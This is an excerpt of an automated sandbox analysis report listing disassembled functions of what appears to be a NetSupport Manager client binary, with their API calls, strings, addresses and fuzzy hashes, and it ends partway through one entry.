Instruction ID: 490c9e9faa58dc1df28f1acf4c3aa341e93c1bd023cf24429d0d7fa3412acb83
Opcode Fuzzy Hash: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
Instruction Fuzzy Hash: 8F01F276790318BBE30096A9CC86F55F398EB54B14F104126F718AA1C0DAF1B851C7E1

Function 11003380 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFF), ref: 1100338E
GetSubMenu.USER32(00000000,00000000), ref: 110033BA
GetSubMenu.USER32(00000000,00000000), ref: 110033DC
DestroyMenu.USER32(00000000), ref: 110033EA

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

hSub, xrefs: 110033CC
hMenu, xrefs: 110033A4
..\CTL32\annotate.cpp, xrefs: 1100339F, 110033C7

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 8af01ad4efa7446add9b372c4420e91d6a3bebcd66f8e1993f70f2b692afa4a5
Instruction ID: f68e039685e14a294959d37ff9e7a7cb7630811a32528fcef7aaec2fda1b7dd6
Opcode Fuzzy Hash: 8af01ad4efa7446add9b372c4420e91d6a3bebcd66f8e1993f70f2b692afa4a5
Instruction Fuzzy Hash: 2FF0E93AF8466933E312A1F53C85F5BE74C9B515ECF450031F528EAA80EE54A80041AA

Function 11003290 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF9), ref: 1100329D
GetSubMenu.USER32(00000000,00000000), ref: 110032C3
GetMenuItemCount.USER32(00000000), ref: 110032E7
DestroyMenu.USER32(00000000), ref: 110032F9

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

hSub, xrefs: 110032D9
hMenu, xrefs: 110032B3
..\CTL32\annotate.cpp, xrefs: 110032AE, 110032D4

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Menu$CountDestroyErrorExitItemLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 4241058051-934300333
Opcode ID: f8a0d47e41078153cbecec3a6fa3cf51a8fd2ba3eb994fe06476dedbffd054b5
Instruction ID: ea916ae31ccda8615c5aa97c2145fcab3b24ed556d1c3993920dd856584db00e
Opcode Fuzzy Hash: f8a0d47e41078153cbecec3a6fa3cf51a8fd2ba3eb994fe06476dedbffd054b5
Instruction Fuzzy Hash: F8F02E3EE945BA73D31266F53C0DF8BFA584F526ACB060030F434FA645EE14A40081A6

Function 11119160 Relevance: 12.2, APIs: 8, Instructions: 209COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,00000000), ref: 11119200
ClientToScreen.USER32(?,?), ref: 11119241
GetCursorPos.USER32(?), ref: 111192A1
GetTickCount.KERNEL32 ref: 111192B6
GetTickCount.KERNEL32 ref: 11119337
WindowFromPoint.USER32(?,?,?,?), ref: 1111939A
WindowFromPoint.USER32(000000FF,?), ref: 111193AE
SetCursorPos.USER32(000000FF,?,?,?), ref: 111193C2

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ClientCountCursorFromPointTickWindow$RectScreen
String ID:
API String ID: 4245181967-0
Opcode ID: 838e7dc6d1b1be8e942fea838f017d3d945d3eacabb2bdd9570b2d4d2d73d52c
Instruction ID: c3d26e7f0e5f190f00e8d03b3c013bb68f2031b9d5661d68f26c10068d749f7e
Opcode Fuzzy Hash: 838e7dc6d1b1be8e942fea838f017d3d945d3eacabb2bdd9570b2d4d2d73d52c
Instruction Fuzzy Hash: 6391F6B5A0060A9FDB14DFB4D588AEEF7F5FB88314F10452ED86A9B244E735B841CB60

Function 11025122 Relevance: 12.1, APIs: 8, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,00000050), ref: 11025176
_strncat.LIBCMT ref: 1102518B
SetWindowTextA.USER32(?,?), ref: 11025198

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetDlgItemTextA.USER32(?,00001395,?,00000040), ref: 11025224
GetDlgItemTextA.USER32(?,00001397,?,00000040), ref: 11025238
SetDlgItemTextA.USER32(?,00001397,?), ref: 11025250
SetDlgItemTextA.USER32(?,00001395,?), ref: 11025262
SetFocus.USER32(?), ref: 11025265

Part of subcall function 11024C70: GetDlgItem.USER32(?,?), ref: 11024CC0

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Text$Item$Window$Focus_malloc_memset_strncatwsprintf
String ID:
API String ID: 3832070631-0
Opcode ID: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction ID: 7712de199883e751ea03bfa735f50b434bc7bb1cc5edca5bff12a9cf5cd7df4a
Opcode Fuzzy Hash: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction Fuzzy Hash: 0E4192B5A10359ABE710DB74CC45BBAF7F8FB44714F01452AE61AD76C0EAB4A904CB50

Function 110573B0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 188libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(111ED708,73B292A0,1110EDDD,00000000,00000000,00000000,E8111B5E,111825D3,000000FF,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000), ref: 1107602E
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(0000000C,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,73B292A0,00000000,00000001,00000000,00000000,1118A168,000000FF), ref: 11076097
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(00000024,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,73B292A0,00000000,00000001,00000000,00000000,1118A168,000000FF), ref: 1107609D
Part of subcall function 11075FE0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,73B292A0,00000000,00000001,00000000,00000000), ref: 110760A7
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(000004D0,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,73B292A0,00000000,00000001,00000000,00000000), ref: 110760FC
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(000004F8,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,73B292A0,00000000,00000001,00000000,00000000), ref: 11076105

LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1105759C
GetProcAddress.KERNEL32(00000000,WTSGetActiveConsoleSessionId), ref: 110575E1
SetLastError.KERNEL32(00000078), ref: 110575F4
FreeLibrary.KERNEL32(00000000), ref: 110575FF

Strings

Kernel32.dll, xrefs: 11057585
WTSGetActiveConsoleSessionId, xrefs: 110575D7

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$Library$AddressCreateErrorEventFreeLastLoadProc
String ID: Kernel32.dll$WTSGetActiveConsoleSessionId
API String ID: 3780373956-3165951319
Opcode ID: 13b000d7faa6fd9acbdfe3c5b590adeb65eceb06c65d3f1f2622c8f441c886b5
Instruction ID: 5b2845002196474fabc536bb645ff26533f5159a1a467828fb1dae30e08bae14
Opcode Fuzzy Hash: 13b000d7faa6fd9acbdfe3c5b590adeb65eceb06c65d3f1f2622c8f441c886b5
Instruction Fuzzy Hash: C47149B4A01215AFDB10CFAAC8C0E9AFBF9FF88314F24819AE91597314D771A941CF64

Function 11071500 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 176COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,73B292A0,75BF7CB0,75BF7AA0,?,75BF7CB0,75BF7AA0), ref: 11071554
LeaveCriticalSection.KERNEL32(?), ref: 11071568

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

LeaveCriticalSection.KERNEL32(00000000,?,?), ref: 110716E1

Strings

Register NC_CHATEX for conn=%s, q=%p, xrefs: 110715B3
queue, xrefs: 1107153A
..\ctl32\Connect.cpp, xrefs: 11071535, 11071640
r->queue != queue, xrefs: 11071645

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\Connect.cpp$Register NC_CHATEX for conn=%s, q=%p$queue$r->queue != queue
API String ID: 624642848-3840833929
Opcode ID: 0c8d2ced26a2bd08ab4c29fa8ca54adca0efbc1028afe9b50eb6db0bcfa7742a
Instruction ID: f6d3c874c1d1c48a5cbc4b1d223e4c094ec3a892b4c0f1e6412567ed65325da8
Opcode Fuzzy Hash: 0c8d2ced26a2bd08ab4c29fa8ca54adca0efbc1028afe9b50eb6db0bcfa7742a
Instruction Fuzzy Hash: F061C775E04285DFD715CF68C480FAABBF6FB08318F0985A9E8968B2C1D774E944CB94

Function 11093180 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 110CEC60: CreateDialogParamA.USER32(00000000,?,1112D7C9,110CBCD0,00000000), ref: 110CECF1
Part of subcall function 110CEC60: GetLastError.KERNEL32 ref: 110CEE49
Part of subcall function 110CEC60: wsprintfA.USER32 ref: 110CEE78

Part of subcall function 11142DD0: _memset.LIBCMT ref: 11142DF9
Part of subcall function 11142DD0: GetVersionExA.KERNEL32(?), ref: 11142E12

GetWindowLongA.USER32(?,000000EC), ref: 110931C9
SetWindowLongA.USER32(?,000000EC,00000000), ref: 110931F7

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetWindowLongA.USER32(?,000000F0), ref: 11093220
SetWindowLongA.USER32(?,000000F0,00000000), ref: 1109324E

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110931B1, 110931DE, 11093208, 11093235
m_hWnd, xrefs: 110931B6, 110931E3, 1109320D, 1109323A

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LongWindow$ErrorLastwsprintf$CreateDialogExitMessageParamProcessVersion_memset
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3136964118-2830328467
Opcode ID: fb6c2165198b052ed1adde41c8e51930884ee91b5ce78e92da16114a67f0499d
Instruction ID: 17cdb21e99cc57644c55c5a770e75091ec79e40792fa9a2895745f392d232910
Opcode Fuzzy Hash: fb6c2165198b052ed1adde41c8e51930884ee91b5ce78e92da16114a67f0499d
Instruction Fuzzy Hash: AF31E475B04609ABC324CFA5DC95FE7B3E5BB88718F10862CF56A976D0DA34B840CB54

Function 11137070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 111370A6
_free.LIBCMT ref: 111370DD

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_free.LIBCMT ref: 1113716D

Part of subcall function 1110F270: InterlockedDecrement.KERNEL32(?), ref: 1110F278

_free.LIBCMT ref: 1113713E

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

Strings

Client, xrefs: 111370FB
*HelpReqServer, xrefs: 111370F6

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$DecrementErrorFreeHeapInterlockedLast__wcstoi64_malloc
String ID: *HelpReqServer$Client
API String ID: 1390041139-3616015116
Opcode ID: 71aa43b1dfc4152375353722706e6e213d6d63b076ebc57cc88b85f2b8b4d0b4
Instruction ID: 8e3468a70864abf3cc9909560d123acfb2a7f2167445c6f0ed38d11247114e31
Opcode Fuzzy Hash: 71aa43b1dfc4152375353722706e6e213d6d63b076ebc57cc88b85f2b8b4d0b4
Instruction Fuzzy Hash: 6B313877B001156BDB00DE58DC81BAEF3A9EF88325F154169ED04AB380D675F904C7D5

Function 11143360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

PlaySoundA.WINMM(1000,50,00000000,00020001), ref: 11143451

Part of subcall function 11163A2D: __isdigit_l.LIBCMT ref: 11163A52

Beep.KERNEL32(00000000,00000000), ref: 11143415
MessageBeep.USER32(00000000), ref: 11143427
MessageBeep.USER32(-00000010), ref: 1114343B
MessageBeep.USER32(00000000), ref: 1114345D

Strings

1000,50, xrefs: 11143370, 11143393, 111433A7, 111433E8, 1114344C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Beep$Message$PlaySound__isdigit_l
String ID: 1000,50
API String ID: 3904670044-1941404556
Opcode ID: c2824c85be99af7b01869709431b37e6f937a4a8314b06dcce6d67a3277ac74e
Instruction ID: 938a5c7d7fad482dacf885287002a424905fd2e62ab59dfe834b6d95de8c57fd
Opcode Fuzzy Hash: c2824c85be99af7b01869709431b37e6f937a4a8314b06dcce6d67a3277ac74e
Instruction Fuzzy Hash: 93216D66A6C6B272E60105746D847FFFF5E8F81E69F184074E87DC6982EB26E016C321

Function 110612F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11061313

Strings

..\CTL32\configplus.cpp, xrefs: 110613B8
result <= buflen, xrefs: 110613BD

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: ..\CTL32\configplus.cpp$result <= buflen
API String ID: 2111968516-413741496
Opcode ID: 1e75b457f82be356380a80b6451298dc34942034e65cfc81e57d19b8d6e8b9c2
Instruction ID: 66cd83cde6406eed73dadf9a29febb3e9e016d9ffe8428f4573ae4edc325b04e
Opcode Fuzzy Hash: 1e75b457f82be356380a80b6451298dc34942034e65cfc81e57d19b8d6e8b9c2
Instruction Fuzzy Hash: 8E21DB75E041669BC301CF389C84DEE77ED9FC5369B14C251FDA69B685E631E904C390

Function 110B9000 Relevance: 10.6, APIs: 7, Instructions: 58COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(75BF7AA0,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9017
GetCursorPos.USER32(110BFEBC), ref: 110B9026

Part of subcall function 1115E6F0: GetWindowRect.USER32(?,?), ref: 1115E70C

PtInRect.USER32(110BFEBC,110BFEBC,110BFEBC), ref: 110B9044
